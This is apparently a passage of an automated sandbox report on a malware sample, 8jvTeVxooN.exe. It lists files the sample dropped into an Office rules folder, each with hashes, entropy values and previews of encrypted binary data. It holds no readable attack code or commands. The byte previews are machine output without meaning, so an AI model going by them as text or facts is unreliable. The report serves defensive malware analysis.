Preview:	<?xmlrq.....pI,....r....>`......,...^..].Q\|S.!KN3.5........z.S....lR2.&.N.i.+...P.{..-.......{..7..h...5.n....}m..6....Sj.".cSb..UhKe..^.(h1..#Y5..'/.+Ex-...G2.Q.+m..6..$..a...a...x~.aiv..2..O!....;.._...P.Yb.ddNS.Q.{\|.Vk0...R6....A ....Qs.,`l6G..........D0$..:.0..u.9.....$x.;}...Uq.{.V......?..:.......=..`.&.8.......4..9......y..m...(nY...W..m.X#..pe....y..e.}..`.P...U#..(.L.@.bE.C.u<...&5......2.38...;...S.q..vW.....#...qq...&....6^\|..O..?"...E'$.cz..Lpr..+5...1.I:.`...O.&.b%.j.j....b.Z..5.M.....e.3.y,.3Qb........=...UkC...#.._<#]p...{. ....../.a.f./Ss.h......j../....as8\N..D.......o..@".i.;..,X..];2....".9.....!..q.Dq....Z..Dlc...0._4.c..lE(......e'Vm...g....^~...v..w.....O..K..8.S..D...;T.?.Te.+y.i.Z...=..#'d.....h.3..;=.....56..`..j.2.w{DU`..4>.P...B=.m... )..1..$.&.A..O..h.....w.{.e..%t.I\g......O....S.&k.e`<.)H..r._{!.w..M.\|4...J..:....~q<...S.......p.,5...):r..b....:.!....;..4@.0m\|..YV..,.].-...-.x.,....X.mJ.....9.......L.J_r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.871147223336509
Encrypted:	false
SSDEEP:	24:DP8is4aIpbNoMQYzGX4fXpXYT/Kysv0A3xwiZDnrfZOFVmSOMUbsZb8uLiinKooJ:T8iRaITo+BVY2xPxLZ3ZOmSRUoZbDXnO
MD5:	EE1A1DF0975F03C6789464C8B43C9583
SHA1:	151628DFB078C7297F9A4C3568C02F2F706C3FAC
SHA-256:	86BB8C5158DC19461A5BC82814FB8FE71A5B536A60FEC9FF8F7361F8346C8C6D
SHA-512:	66758781EB905AE5352547E228498B73C92698B58CCBFEE47002C02343656A64FA5AB68AB62ACF92B31051FE27596EDA0220E923DA376E2DF16AFA379C372630
Malicious:	false
Preview:	<?xml<n55..T..l....P..Y...I?.I..2y$.l.Y..m~@.:..j..'.MG^{.v....Z`6J.{......a..u_.:ro...+......e..x.....&3...O....f"._...b.......m.~-qLc..X..h.)I).9V.6.FX...9R.7F...+Uf. ....j..(.}..\|D..R.w....<2K\|.1;t<.M...E...'<....B\....]....1...g...J2.o...~.....l..>...M.Z.v...\.w.EA.B.L.......7..fY.>..4Y...>h.>.vC%.<...J...m.p.t..^....@;....{s...}b_X^....d+\|.GF;.W.tQO:...e...`..."d.U.... ..:>..3...w }.{....`x.....[./.r8..v.8.:.>Y}.r..L......./...@}Dr.o..o................F.p.}gp.0D...M.#K......._.k2._&.X.....e....X...cM.. .).....;..{. .S{.]...0..~.(T..t.1.M".C.S#I.i..r..$.^.9..I.\Vp....5<+...@.....^...>..e.X..E\....>...P.B8f.}+...8'.!].J...P..l....i..J.y..J........W?.$.w.x.....r..e..k.....4;n"..{X5..n....Q..(..tL-.m....W..mQt.`..].yj. .F1..L.}6.....T..8....HE..............N.U.e.@.F.Y./s.~\|l...K.q.....]......P..*......H9op.8Q..]K.~.fy.vbF.......k.k.4......T.8`..A.j.j...4G.O..."b.'0:y........h.:.3....]......09..Y@...$O....Yr..N.m.j..^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.853928062145229
Encrypted:	false
SSDEEP:	24:2aH70fOLPuAcLhV0K2jt29gxL7KE5BQjM3FHmXa4ZIp8PObD:cUuTh2jt4g9N7FHmXa4wtD
MD5:	383FF6B3864CEDA7CB17A647F8B1CFDC
SHA1:	2706D786CEA08D1C04A9F638D20530CB3E3F7BFA
SHA-256:	52F37CDF95E7C7AA8098B8A86FD3AA80F12836C1314D7039E09BC5020C043336
SHA-512:	A4289C7DF72705D25951F5DB1A26477E87FA6E8A6B48843CBF281A91927410B14F5FD8D29A0F96D432A13632FC9FB29D2F65E5F2E1DDF7943EA84AB18980EB02
Malicious:	false
Preview:	<?xml._...nS.L.d.gzA.@.[...,$..l.O.;Qe......2.>E....jc.Y.............9.%.....q..e./@..T....,..9....$c(/..Y.1.....+K:...3.b.&t..p~.=...4`t.w.....V.w.).u.`o..\..t<J[\p..?O>.......fu.5..2...5X..7.W..+.._...N44.>H..1.jGe...o...K..7. .1...Lk7.......(.\._O$;.N..Yn#y..M...%g@.k0.e%...;/;......E>& 5VZ.9...xh' ....>.p.bh.Z.)x......-NYQ...O...Y2...`.[./.>K~0 <...x[..."Q+.%..?t..<J..w.&.H.V.Xv..Tw...Oy.+8".r.....2.....f....~\..s.n9..........3.P....#...........W....?.tC....%.g.F.!8..+.$..>\..H....q.J'...1....0.s..*......d.T..}..S@PuK.Z.G.A&.a...f..."..i......(.c...w.1]e..t...na.(ig....b.8..M....4rKr$...<O@.ey.;...t{^....qZ....T.)<p...uZg+....d.N....G`.^F...2..43.-..q."......$..a.>.R........E.......4.{"PX1y=..2-AP.~.`7.q8Ovv..B-....E.\NS.a.:...vn.-.....Zo..]..WyN.../)2..f...:^.."...........:...!....z.......K...&\!..j.R ......B.UK.(..#..]..?Na..=WQ6.<C...t....u.\|....ZHN.[!.....g2..H&{.iw..N6+./.N v.wh#(..g...\..1.S.C..{........4....D+(.l...6..D..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.8720751078180315
Encrypted:	false
SSDEEP:	48:rsARpX8pI3oSu0oYIjwf8t/I4zAKUx7LkD:rZXnoWoYIje8lIyziw
MD5:	647AEFF02FD60ADB2FBEF54D0832C2F8
SHA1:	4AB80CAF183E93227BFCB19EF9A7D6B2B38DFAAD
SHA-256:	3C11BD09EAE5B01997A60C08A12416A76D235B607B4B33E9488CCFDF02FE2139
SHA-512:	4127E0F3AA1612B20D30C1B916A56DE2F3D3A9435C005675EEDB1799D2599C816882F4BBC3B99C2036346A9A7F86B2FDC0C8A7CA624542B7C262BDDC4C56761D
Malicious:	false
Preview:	<?xml.Z5...@...f`.n8..y.g....G............\|`_......Pr.&.?.RE...t>]...j....1u.:.......... ..........B..v.... PR.......Vc..oWJ..Uz.i....&...3.{..F..J.3.Jy...F...Lv4..4.(YfO...S..s....C.F^{.Z.6..J.e.+y....#b.:...(!/.M..n...l..n..rgA..!.P;.T@..[..J.S..h>...OE....\|P.....[t...rm..l.m ......R]....j.O...Od.q.I\|..........4]A.+2...LOzM..].?.4.)@.}..r(C..o.C).>R.XnE..1.1....n....Y.o.L.".....u1/...J.Aq.X.s.=......'R.dN..o.vzmW...m.#Z....!......nO.r.H.0..t.#.&.k.-.B...Q..o.,..1..a.....z.....8.j........0.!..z..vC.<.l..o.....W....bk.f...m5..?..G...5...DN.84.....z..Z>..W."...V..4..4...c..:.'y.X......y.d...y\.D2].'F.P>.....;.h..=.B.n...qSM...\7......G...5.$.#2.7....3.b.......<...r.$.....}>..,}.!17....&].......#S..j.......~a....m._.GR\RZyS....n6..u....g...H2Sm~...N.wq#QY..z._...E.&....3x...h.....A.5^.y..k.t..e........_RJ2<o..Z.g..+..Tr..v3;.Y...N...Eh...}@.....yn..v.avr.S..&..j.....`8.U5B..7..V.8...N..+<....",./..,.k.B.....BU..o.v.4..fV.*..@.8.1...e....O......0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.728871245357124
Encrypted:	false
SSDEEP:	12:MsOKcipYFJHsvpHpHKqancKa3ykakxDzmpOr+AJfe5WLch8V7p01sR5zN6523buI:MszciKF5Mc7C/akJmpw7fiWLFjROObD
MD5:	58DDAB8AE92A5C29BE2E4BBA64A8BF8B
SHA1:	D98486FEBB5A6587C37F6F30E59C19C8A0EB18F8
SHA-256:	0CB66E252738F5AA10D6E476FE6DD3027DFD0355ADF0C4BE0F9A103DA19AE9C1
SHA-512:	A92EEC3E21E2CB7CAA0D4E075A43AA290C21B598C66EDACC50202C316DDA578786E758C6E94CB4230266E4553C78DF4EE71845A6FC05F059E29D124A18E7D715
Malicious:	false
Preview:	<?xml@...#.{.N(hk-.o.i;<.B..Q<....l.g.....}...TP...:g.U..(V$,...2......HX..%%i.h).L.....\..8..u.u+ojY.8...V..`.I...q\|...g....5.Q:...~........Du..;.....B...X..._.q.4.8&...J%..X.$....w.,...W.d....PB....f.X....Gu....7]..xn..}...n....-...8..6-............s..\|..&.....,..m.p.HX.$..)X...H....J2.Y.6D.?..W.....2..S.e.u...4.y....P.wP.8.t....$..=.f.......Y.....E-1}.....x..Y.X)d.._.2..i.1c....DC.........~.9g..7R{.....>.f.7...?.R.W(N..R8.]W...-~..c...M...y..q77.....Q2..e..q....`..(.0.3.^[...R,..;.PF{?..A(w^..@V....nfv.zC..;.;}...+l...F.CE.TS#..P..Y^(..a....<5.'a/.;...W......q..G&.X.`...E....nq..i.!.H.*\..t..^^..<...ii......u.8...x.S..Jf..1}..../f:q.......'b...3......3......a..w.....q.....)..T5.......(..B..).t.Ie....D.l.\|i....F.+.s...F...6>.....`..?<..J.na.G.IR.>..+..vv?.Z.... .K..c.B..fXi.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.9478742127694035
Encrypted:	false
SSDEEP:	96:0NIAkq/qL0WYomCP4iAVKpf3koMc39MjtWH:I1J2vwwpf3VthH
MD5:	B8018D5DEFFE7490720FE057D469A898
SHA1:	3F2ACEFDF5A21E7705BB5EFC64839DA2BBC34C90
SHA-256:	0EE0D5B413DD7C3736708DFB498D4CACD5F5AA5201A7DBC36378458D4628C1BF
SHA-512:	3A9E4B44B8672290DC23E29AC26429215C0670C1EA7E3D6B69CDC1DB2B0050EAF98CD4E8450CF6499BB96360674C0401F100C4137AEECE7DFE7C2B22F3646B87
Malicious:	false
Preview:	<?xml.~.U..............,...T..J.E."..0...Q[c.....=..e..8....g.R.T.....-......t.Y].......r..$o.D..iL)...(.\K..1.Q9......S;...r.{[.........3..M._...d..l.E.`vYX]U...{.?...v......`.>....3.{4.i_.\|xF. ... 6...0.O.......={.lm..:e....s.>......X@....N.. B......6.8bA......o....\|...x..m>:.XT.QZ.S......5d.1...t......j...E\|qg[..}.Q.:..?.$._..ej...s...T...V$..xJ..I..!.6....s...p.'.o.yMZ'~o@.n"..xD.[.9....}P.l.a...B....y.......2RV.k......Q.8.{...S&.I..... ..E#[.[Xo. l{@.t...9..@..u.k.v........u.6oN.....]. .;.A.....U..ly.v.T...+..#.(...K~..T.$8./.+..~..u..6.X/.i.?1..'..i.O0..M.....A...E.........{.K%?[.aA.\|.....gbt.....b........0$.t.U....`......f.<\./5()9.9.f.)...A........*Ua.T....6d(.:..T..T..N........$.........J.O.S.k...P.u ..;!..a......h.R.K}.9..&..\|R\|C./.....N.p..7..Fh.....~X.....:...<PEPC..2......SWT.Yw.L....f..!..'1.p...6(.sf.7.O.ww"r!Z.z,..R.).R..........?.....Hj..H..-.....t.o.w].c....2z}......H%.....Y.-....!.d.w....f.^...(.Nk...>\|......b.!..f$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.950871058693982
Encrypted:	false
SSDEEP:	48:Nz+wv3Ysp0+RPBa+HG8/HdmH3uSbGQ05LMym+83LxLLNByFlNnnaCgNEp4b8ncvt:NPp0gBa+HGSkH3u68O+41ByFjaIcvwkd
MD5:	DF749146172A65D5C064F4BDDD77721F
SHA1:	BD901DF162D7F6BF1EB4D2683288B45391DFEFEA
SHA-256:	4A0988F311DD994C37556319EE5484073CF551C469D34F6DE8ADA27D78D79EA2
SHA-512:	1A7B0BC11EE8C6516CF9102325A632B96F30EC8BD31B721D7EB4B0EC2485734FCF0F7F326085928F985BC1F0D33FEE88D7E2CE4CCCECF1F379F5234F41607E52
Malicious:	false
Preview:	<?xml....4..@.."....i.e...'.=.q...L^l.)...K..Rw.i..,..].......~.....T{.Py^....n.=(..C0...i.L.r~...--Z..2....@C[..:.0.R...f.T8...Ab.i...'.b.e....Y......dg1>..c......'Q..[.&Kr.U.-0.}.?G....O.G.~...8fV4NH.. ^C..L...c}C.0.U.....E.....#.)...:...Y.A.......g".kn..#.p.8.Y..{.....?k.JI.~$..u^..K7.........7XQB...b..."...4..B..S<.WxJ.....B3...m.g^o4.DS.... .AuD]\.b(...tF......i$lL...7...Uo...M7...u....H.C7..$..gk...O5[...7..z.6.a0....HW...w..>..S...Z...Z.$..f\0Z....0Z...r.<.....p........p._..+...#G.%M#r...I.}....?.&pr..01.... .E1..... ..{.b.[.....8..+.F....r4...`..k.5..$.G...U'.@.B+.\... n..G..6i,...V.N...y.`L.z.w...{i..........&f]b_.".a^.A.....@./.D...r.t..u.)..Z...........H^tn.wz+.."O.-...N.,j.4=@...."...J.Y...z8#.....E..wm...g..)....Q!IRw.s......%........v.]gw.I.9....n.@.v5.....jO..:m".....*[.6..e....D......N!.....yg..k6.....9.aRA2f..Bc.}..n.@.:.J..na8P\|&.e..Y,.PK..GuK.sZ....l.B....>m[,b../..K..}%..Q..%;./.Y."...NW.......i,....@&r..RR?!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.676634361309451
Encrypted:	false
SSDEEP:	12:yEYX+0A79Ii0JMDIooGizEquTi2M+WhWQI94FDotYNFwuOcii9a:zYX+P9lkMKuTiR+oqYNjObD
MD5:	65F4834687BF7DB11DEBEB1FF19E45AB
SHA1:	8DCA2E93339F4047D687164D934F04ADADB48032
SHA-256:	FBC831DF737BBCF2441ABADB868BFC415E6F4E0868275AEFBD219EA01080CD11
SHA-512:	055E0564DB39C2E2BD4954F65217D542CCB772E1FD7491B9FB5A1796E757565412B85453B472F743C7C58B698F60579FF834464295EFC7054FA5C46C24EC53EB
Malicious:	false
Preview:	<?xmls8..x.{..$"..a.z....4.;...t)N8..>PF.......]6......._m.YX...7..vqy3.XQZ.1mZ.zq.-..h..C....,l.'.Q8.SO......&.I..F{r..Y.?.T...%...../n...C....=>..O. ...g..r.%...E.G"cTm...+......} .\|.V>t....?.Jn..}.K...4^...{2..Y.........Jo..xK.......&.L....\|....{... ..3..N..k..{.s....N.F9......&.2.g...CM..O.._..h.,q.U.SZ...lQ..r.&..,....?...V.E..He.h%....f.[.&....??a.T.?Ab..9..m7U.N..@....e.UB.I....YRv&Cly..pr.4#.~..mvh.At..?........[_.#.......tR...{olrCl+.t^..yf3.7+.8.'..?.....!. ...#g....z.r7.....h'$.Y.......o).<.W..n.\|/w.<....rD.Or.......C+.$JOY.^.(.....l..\.b..b-^s.9K.:#.VO..GX..c.&..r...... Zd..V.e.I....m.kG....:.\|.?.,...G..@..j.'U..W..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.8884537786778655
Encrypted:	false
SSDEEP:	48:5z051W1Psag8TabmyDnnj/n2QKAvtvCy7mD:5zqW1PBTaqyDD2QKAFv3+
MD5:	120B3C9F953B87812BA8B2CF8CF6438E
SHA1:	3B90CC188F0033522E49A7DCFDEFED47D3E0483E
SHA-256:	18E419011BBB52953DF5A83562FB846279E2A7A67E3016B4057DBF39B3F938D1
SHA-512:	A3A07AA7071C7F5184BF9221A4D90CAC2E46F66443353A42E7F9079D69E632FA33F5822C41B02BD75A3C2056EC85245BAA360E11D5E1108E49FC4ED9A58984C8
Malicious:	false
Preview:	<?xml.U8...[-...}...rJ]...?.S>G%..l..K3?.Os>..Q..K...M.\|x..)Sc._Y.[B.i4...../Z.nl...g}+..f..B.....j.mI..7.Z......},Cg...f.Y4......l%......x..b....D......E:=S..$sj..?.n..W...lQQ..7.W...z..B...Fl.h)..%w.%...0.Z....".,.9n..H.\."...3..,.!`J.._:..sn)}..2H..._...>..L.'.......0O.1..W.H..qR.LRL....G.'N(.....R..c...B.......J..&.e....b.uN...Hs+..)}T0....J..:....C .._......o...&1..7T....%.=..F?.c..&c.r.H..$.o./.2...(/n..V.]s...U..".X.M.vp.:..=..t...M.-..xBz^G;......C..v..............).N.......0...f^..v...k.........@..1$?..s.'..D..Y. ...h.1...F..........Z.8.AY"...56. O...#.l.."#._.V.....5.......g..%.t-^x.L.7..c9.=R.o#I.1.<.4.B.`&...k...z...a........h.t4)......M}l....4................x[..$.!{g.'..O........$T.%8...r.....V7.}..[...,R*8b...^.]..."..\/]...LN.\...'..M.fF...<%^... ..\|.p.o.N+....A...[A.........W$......\.5..!..L.i..Zr!1.%.........>..0(.a..B\V8T. ..=d`1..T..F.o.....\|.F......0.....k..+T...[..=.[t.s.gy..NF.{..".4....":..(.i...hn...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.760677766191314
Encrypted:	false
SSDEEP:	24:AA1AtgF97yx/bv0s3+VZX1d0kPukETTObD:AAZXki/DpEcD
MD5:	EE22CAF21005B7BA9702E5CE4D44C3E7
SHA1:	662F022394E21BF26C1E317BA49E783E3CB3AD07
SHA-256:	81047425B919C57945D6C2B30620F5CB4851D354C53D76AD8417226B34D94828
SHA-512:	D97BD8257034B932A08158A9B43002FFD7CE9DD3D9DCC50CCC58F9D35A206A78824A67C45DE90542C87E4FB51E3915BF6FE70C5E06651B0C986554BEA1BA63B3
Malicious:	false
Preview:	<?xml...Xs.....;.fsE+.m..x..N.......(...f+z.i.^.e.....Dd...&...S...0..!..s.\|.............M...D..P...9........_.Q......n..QM4..~.A..Ny.o..fM..qL...p.k.$...G...X."..f}...........<..+..;.-.F'..s.@...p...J!zF....\|.@.c...wsR.bB;.c..R.p.\......Q5.n9...n1Sz......?..un$.0v...F....{q...c..m^.#.n:...E.{.\|C.]...v.T..o.NtJj..c.w&ak.......U.ML..x(v.N...9>..c.\|.2W.H...TC...`.8Y..e..N.89j..M&ks...:f......O9....p.\...rtb.v..GK.`..kL8z......@~7..>7c.)t-'..4\z...G\..1Yg;......A..V....>A.!C1....S....'...bU@b..C"../.M... N..x...."Y`.Q.0.d.8..E...a..1.>.O.r...\|.$......3.w...O../{+.6..LL........0y..6.m.5..:.R..f...............;......S..Q.3R....$...J..-..E......\#....Q..^Ri].O;../Z...%dl.....x.q..O...v>u..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.823598441226152
Encrypted:	false
SSDEEP:	24:SYbCFu8q4ys5nFlDrjg4Uom1GFvfPnuUFqn3MObD:Txha5FlXU41OYfPuUFa/D
MD5:	6FE5D0DE523E7A74F82D8FC1ED633F1A
SHA1:	AAD386557E7094FB55CC7D5B6DE43D695C4822F2
SHA-256:	6987F9CE818263875E670927A8CD2CCCF142D2C784669588ADD9F835BF9914F6
SHA-512:	FDB78BEB631E66DB5AEE210EC302474DF2CC8D841DACA26CD29D015087DAEA4DFBEBCE5625DEF63EDE4D39CC332A74A95EFC9AB33F444BFA0DEF274ACE34987F
Malicious:	false
Preview:	<?xml......:U&.p.S...F.-......1.."0.u)_e.3.dr..P"....p.....!...f..V...:.6.H........A.`2.....HXlX(...@..b.s6#D.O...H.W.a=..P~.;...Q...+./p`.py.........."z...'.!.M......3.N.....+...d.6.mgqJN(.0...K.....o&..%7K?..nt.....MU.F....&.E3..... ..@.[.....pF..,Thj..l...B..^...;.]z:..,.S#r.c.[Z4?.\.y.......ZeW'.f....5........Gu{~..w..I.....e.@..rR..<TsX.........19.4h.......oA....t...\|ue/.P.....x&..b>...X..8a. .g!(>D........<.S..l..I5.9h....X.{q.\|.a......t ..h.... ..HE.......9..)'j.boV..`P.........jp....a..yB@)0_..D.e...y-4..U.W"hp.3.s.3</.....}.....@..k.Ws.......\ ....v.5s..h.d.. N..?-........q..$.1.....'...G..\.P.s....HS..n5..Z.1..k...fd../.B7R.C...._i...y{m..{....A3.h...a.U.E........o.X..g..d'.`.3..=A}K.Km....@.....g... iy..s..L.."\[...)m`...)....7...%..KbwF2.~.f..P.......k.0..WQ&.Sy=n.V[.n.V ..3.[.0Gg.J..9m:.r]..x).8V.bI...`o.u.g....r.5..+...3..._..7^.Y....k.u.WQ.$.6[Y..i...y....{...F.,......v.Q0$.xAZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.849263933535185
Encrypted:	false
SSDEEP:	24:ATpsex19TwKZKouDsLPUjDpTkey04n0NXLiyCKbSSBz+aZaLBMkftEWSObD:ksxqksLMjVTkeyuFLiyhBKaZMMkFn1D
MD5:	159195FD068AE8203823EB0F07CB3714
SHA1:	211A64DDC721F841A5D9610315F7E178F1FC134E
SHA-256:	FB75899E812E64C8FCB3A869737EC93768C699228CA754307CAADAA26D3AD4FA
SHA-512:	A5C957543B07E5747EA39F197AEDB47F6D044D3B293D71A07E4626DBE5F107C39A698E7EF292C9F7BCF0776F9A0201B8B777675A852D67E3E49BE9823CEFEC50
Malicious:	false
Preview:	<?xml..[..5:..I4.;tc..[...<.....M\.>..c'...[.).r........"$H.Q<!9.5...J...W.W.w....K.c......H.7.;..#..T...Zc.T..b.^M...#......z2.7c2r..~y..W+.)...\|..H6MLU=.2.w.t.Mb.."..\|..r&.v.l.[.T........a.tJ....:....&..1..b.k^[..R........D.e@.Li;.....t...Y.%a._.mB..n@....P..&rO0..R.......g..gO.)...j.(.].w..[.C.......!h....../..c&.v.....b...L.^..E...H.....z.t\;X.~.&L...G...]..;F.EQ.!.w2..h.d3.ngn.e......g..8.z[."..!.>......$S..z...k....H..L...M0..!.*"R..Z5..v...n.^...B....H.F..?...n.........8...r..s..w.....A...-......dG.K....7/ .......v....9..}....'......@..L......."..X..r..8.J..;<.....u..z..............(.u=a.;g..).4.\|.1\.\|@.,7.KW...ny......>.1.../R .q.....k.?.. ....[......P..m7C....NV....h...i.2(l.9...@...;.x....~7hZ...v.U..!;.`.+ ..Hj1_.j.....mf....z.,..b..j)...Z:.4...LiZ.....N.K..Em...^k'J....m.J5...!.X..+....q...}...d...Z..]`.@./..H.......$.H.@.....j.....Q.....9...qkr.-.....7S.C.....5...s.....z3...[e...Z/.~...)...\.....y........S.\|....+P.i....z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.869098114224567
Encrypted:	false
SSDEEP:	48:gLzaDHXkapJRJOkyEP4ZW77FOXmeF0eKD:gLzaLXkap9XyEPvYXI
MD5:	CA298AC07EC09D60ED638DB0DB09EDCD
SHA1:	1228997D061884C898BFF47C667AA08F33942290
SHA-256:	15816AE15B52C97DFEF417C25B471953CA0D0521DDED06F868625FED8B249F5C
SHA-512:	E428C4CF9CFCF88AE1E2267549314C34F0F68A4D262E58F3AB3437E4415726340C2D42C45CD7B45B2C5FC1F0E745614B03D5506A02B50115F53C3021CCB50EC3
Malicious:	false
Preview:	.<?..(.Thd.....5..$.h.]..l......!k.e?.g.........?.i.Y`..f....na..0K"....s...I.r"..H._.F..N...j....b4.3......H\|.....B..3.!E.....9B..i..o...?.&K..)..oh.9....bD~6\|2...!.#.=...B.......o.Eb.<L.,..[t......Gc...9...O..=C......$]T.@.xhCv.@v.{.v....J..e..o.dY..fL...\.t..s......&y.F.H..Z..^h..$]OZq..B/D.}.~....g.F;..I......>DL..V....9?....1v\.u.)N.iP.w.....a...]......d&THGe...1}..s.f......`.....N.ZT......tr.....xgH...[.J..{.C.n.h4.....v5.^.N@.....~0l.ts.j........\|M.Z8....E.&..M..}.....<V(.a....D2. z..H}.....6.........6.....1{..5.k....(..............a>={..C...W&l....c......N....b\..Z...!....X.....X.{.....k.T.0F7..F+.1..~..z...9t.1........g;.G.-..;)...u(...pg..l"..9R.Mv5.x.Y.dZ....m.B.,^......]{aL&...u..PO......?>.........P-...c..7..#.,.m.H...^.=.\|...^1..Ra...,\. ....sOJ........m.;.P.<.......[...R.....O..I....k.-........>..rY[..i.F....W;U]...4^$..\|.U.....\|...I.x.E@W.R....-`..q....%...<;..6S....A...].L....z.;.hqb. \|.......R+.:..c....e-.}z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.797078942409623
Encrypted:	false
SSDEEP:	24:rN74GPNvD/ERJscoua7C8/6OCWafvqLsTwv23QD7ObD:rNRvD/8JH0Cx9WiSw0OwQD
MD5:	16589450BC32CEFD49094457848830D8
SHA1:	0B9DA50119FE949877311A5892123B891DE97C98
SHA-256:	505F77541F346E8DC90046B3BDCB2C5EFB3E9CE4EA45356D8A7DAD320040761E
SHA-512:	C357866554757FAEA79F0D8CBC479F27D7D806DB7C5CC0ED36274B1409441AAA2390A265A9DE5D10E524D91276600EADA39C99921E20887AB396368E413779D0
Malicious:	false
Preview:	.<?..'F+.......]....r.x]q#.3.u.sQ....z.l.aW..-a..[l...../J.....p.u..n.c.I......WK.:Y ..Z..4..3....\|....F.-..e.9/:..'.&..1...).bL.U..N.8-..6.........&..(.B.=.I#>qb.5.\|.......f....-...d.P....p......I...kJ.$^...x..............I.. +G."....~...h...+..v.D.Y.....z...4...>.E;.-N.d.!f....t...],.....H.^..iI..i0.eR........s.o.....e<...P...ci2....c.{n..t&....G...2..z..~.9.T..$7..8.v..0..r.w/.R....1.B.(W.&..C......JX....;.U.U.A.....N..kpV.q=.HQ1Nh....U...j?.....&.....=S.Y...X..=<3;e....;.....#..$Te..'[....E.P..f..N.L.^.#.<c...:_...a...P....;@...e......c.h.5:.<..H...WV....7.h.4.....EF.N.O3...M#..........=3&.Y..........<;..0.N...0.7..r.xbkW.&i..(.iK!..a@..S"]'......A.Uy.G.K.........(.7..\|b.Nbx.Ej}..0...L',..o....D.'..wH.C5=.3...3.R..T..\|...3..9.!...1q...b.....f..9.'0.S.K\|......4..~.....gs(.Z.V`.E.."...o.>1.#<7...@.........n./........@m9,.s......yw..c.V(...\|..Y3.{w.J...<.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.946727851823107
Encrypted:	false
SSDEEP:	96:OYirP1s8g5NCf8Ws8DC/xiNYJkYF3eyxYsXs6F:iWzabHDCkIkYUA
MD5:	06BF94D08C76B1743D63593C6DCD7C89
SHA1:	68EB8531545E59C4059D263D99D5E4C27B51AA10
SHA-256:	0C027061BA397212FCA8625C5CDB20A6F345A14917453E4A00AA6A9016FD9D7E
SHA-512:	E9C013B1695C09064E23820B56EFDDED1A849DA31D4CE99F056278569297F3F360AB74F227EB9B8607BD630A0A25CF97859D08A6AB0AF25457647823931138F6
Malicious:	false
